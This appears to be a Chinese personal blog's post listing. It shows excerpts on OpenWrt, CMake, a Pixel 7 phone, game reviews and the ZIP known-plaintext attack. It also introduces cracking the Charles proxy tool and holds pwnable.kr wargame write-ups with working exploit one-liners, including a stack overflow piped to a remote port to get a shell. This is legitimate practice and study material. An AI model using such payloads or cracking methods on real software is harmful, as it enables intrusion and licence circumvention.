用虚拟机搭建 OpenWrt 透明代理

因为有些软件不支持主动设置代理,所以有时候还得开个透明代理,在实际买设备前先用虚拟机安装 OpenWrt 实验一把。
一开始想着去找那些有一键设置的工具或脚本,结果来回折腾花了不少时间,最后还是参考这里的教程搞定了。

准备镜像

  1. 下载目前最新的 OpenWrt 镜像
  2. 解压得到 *.img,记为 op.img
  3. (可选)用这个镜像安装后的默认可用空间只有 100M,比较捉鸡。为了方便后续安装各种软件先做个扩容:到 Linux 系统下或用 wsl,运行 dd if=/dev/zero bs=1M count=2048 >> op.img,将镜像扩容到 2G

使用 Cmake 生成项目的工程文件

构建系统描述了如何使用构建工具从项目的源代码构建项目的可执行文件和库,从而自动执行该过程。例如,构建系统可以是用于命令行 make 工具的 Makefile 或用于集成开发环境的项目文件。为了避免维护多个这样的构建系统,项目可以使用以 CMake 语言编写的文件抽象地指定其构建系统。从这些文件中,CMake 通过称为生成器的后端为每个使用者在本地生成一个首选的构建系统。

另外,在 c++ 代码的跨平台使用中,包括增减文件在内,任何其他涉及项目工程的改动都要各个平台的开发同步处理各自平台的工程。而一旦某个平台没有及时更新项目文件就可能会导致 CI/CD 自动化流程失败,非常影响工作效率。

为避免费时费力地维护多个这样的构建系统,可以选择用 CMake 对其进行抽象。这样我们只需要维护一个 CMakeLists.txt,它就可以为你生成指定的 vcxproj 文件或者 makefile 文件。然后调用 MSBuild 或者 make 进行编译就可以。


Pixel 7 到了

之前纠结了一段时间,最终还是决定入手 pixel 尝尝鲜。随后赶着黑五下单了 pixel 7。其实在这之前我就一直用小米刷着 Pixel Experience 做主力机在用,所以 Android 13 倒没什么新鲜感,主要还是想体验 google 的 ai 相机。
另外正式迁移数据前还要先 root 处理下 VoLTE。


Charles 破解

Charles 是常用的抓包软件,可以用于分析 http(s) 流量,使用 Java 编写。目前最新版是 4.6.2,来试下它的破解。

工具

Java Decompiler 反编译 Java 字节码 https://github.com/java-decompiler/jd-gui/releases
Recaf 编辑 Java 字节码 https://github.com/Col-E/Recaf/releases

月影のシミュラクル-解放の羽- 感想

非常短小精悍的剧本,没有什么注水剧情反而比较讨喜。大概花 10 小时就能走完全部剧情。

整体上是由 BE 铺出的 TE 之路,通过不断解锁 BE 后最终达到真路线。实际在玩的过程中路线是以单一方式解锁的,另外系统自带了剧本的流程图,所处的分支也一目了然。一开始我以为剧本和选项里会带有推理情节,剧本前段还提到了男主有特殊能力。但后面发现基本没有推理要素。


《闪之轨迹》通关心得

剧情概要

第一部

七耀历 1204 年春,托尔茲军官学院诞生了一个全新的班级特科班《七班》,其成员是和最先进的战术导力器 ARCUS 有着高契合度的 9 个学生。刚入学他们就碰上了一场实战考验。在协力通过考验后,全员怀着自己的抱负表示留下。
黎恩·舒华泽    地方贵族之子
亚莉莎·莱恩福尔特 帝国最大重工企业的大小姐
艾略特·克雷格   想成为音乐家的正太
劳拉·S·亚尔赛德  武术名门之女
马奇亚斯·雷格尼兹 帝都首长儿子
艾玛·米尔斯汀   入学成绩位居榜首的七班班长
尤西斯·艾尔巴雷亚 名门贵族《四大名门》的次子
菲·克劳赛尔    猫系少女
盖乌斯·沃泽尔   高大的留学生
莎拉·巴雷斯坦   级任教官

学院生活由好几个模式组成。

  • 平时上课部分跳过,但是有时会有放学后的要素收集
  • 实习前有一个“自由活动日”,也就是一个星期天。三好学生黎爷会在这一天里帮学生会跑腿解决委托,刷同学好感和探索旧校舍。
  • 重头戏就是每月都会安排的名叫《特别实习》 的企划,将七班成员分为 A、B 两组分别前往帝国各地进行实习。玩家只能操作黎爷所在的 A 组。
  • 三月第一次到凯尔迪克,那里有个远近闻名的大市集。实习过程中大市集发生了不明盗窃事件,七班为了解决它开始调查,并最终在露纳利亚自然公园里找到了失窃的物资。然而这时他们却被赶来的当地领邦军包围。随后克蕾雅上尉带领铁路宪兵队(简称 TMP)前来救场,最后结束实习返回。


ZIP 明文攻击原理

在看 CTF 时发现了 zip 明文攻击的攻击方式,然而举的例子里基本都是使用工具——也就是 ARCHPR 简单完成破解,转而进行下一步操作,对明文攻击本身并没有做更多解释。本想看看 ARCHPR 的明文攻击实现的,结果发现这东西是商业软件……于是开始找其他资料。

简单搜了一圈发现这种攻击是基于 Biham 和 Kocher 在 94 年发表的论文《A Known Plaintext Attack on the PKZIP Stream Cipher》实现的。

明文攻击主要利用大于 12 字节的一段已知明文数据进行攻击,从而获取整个加密文档的数据。也就是说,如果我手里有一个未知密码的压缩包和压缩包内某个文件的一部分明文(不一定非要从头开始,能确定偏移就行),那么我就可以通过这种攻击来解开整个压缩包。比如压缩包里有一个常见的 license 文件,或者是某个常用的 dll 库,或者是带有固定头部的文件(比如 xml、exe、png 等容易推导出原始内容的文件),那么就可以运用这种攻击。当然,前提是压缩包要用 ZipCrypto 加密。


pwnable.kr 练习(二)

Toddler’s Bottle

leg

关键在于 pc 的计算。不像 x86 里 pc 总是指向下一条指令的地址,ARM 中的 pc 是下下条。假设当前指令地址为 x,即

  • ARM 模式:pc = x + 8
  • Thumb 模式:pc = x + 4

按这个规则计算得到 key1() + key2() + key3() = 0x8ce4 + 0x8d0c + 0x8d80 = 0x1A770,输入就好了

108400

mistake

因为运算符优先级问题,fd 被赋值成 0,也就是 stdin,和 password 文件就没有关系了,可以输入

1111111111
0000000000

pwnable.kr 练习(一)

Toddler’s Bottle

col

./col "$(python -c 'from struct import pack;print "0"*16 + pack("<I", 0x611c492c)')"

bof

一开始不熟悉输入处理,花了不少时间……echo 后面追加 cat 可以使输入流关闭,成功获得 shell。(PS:一开始拿到了 shell 还不自知……)不加 cat 的话则会提示 *** stack smashing detected ***: terminated

(echo "$(python -c 'from struct import pack;print "A"*52 + pack("<I", 0xcafebabe)')";cat) | nc pwnable.kr 9000

樱之杜†净梦者——一圆三吃

之前没玩过老吴的作品,玩了才知道老吴爱整鬼片。上来先发了一整个序章的糖。正当我想着圆香这么牛皮,其他女主要怎么和她竞争的时候,小圆直接领便当走了……辣手摧花毫不犹豫。OP 放完我还没缓过来时,小圆已经变成慎司脑内专属灵体女友了。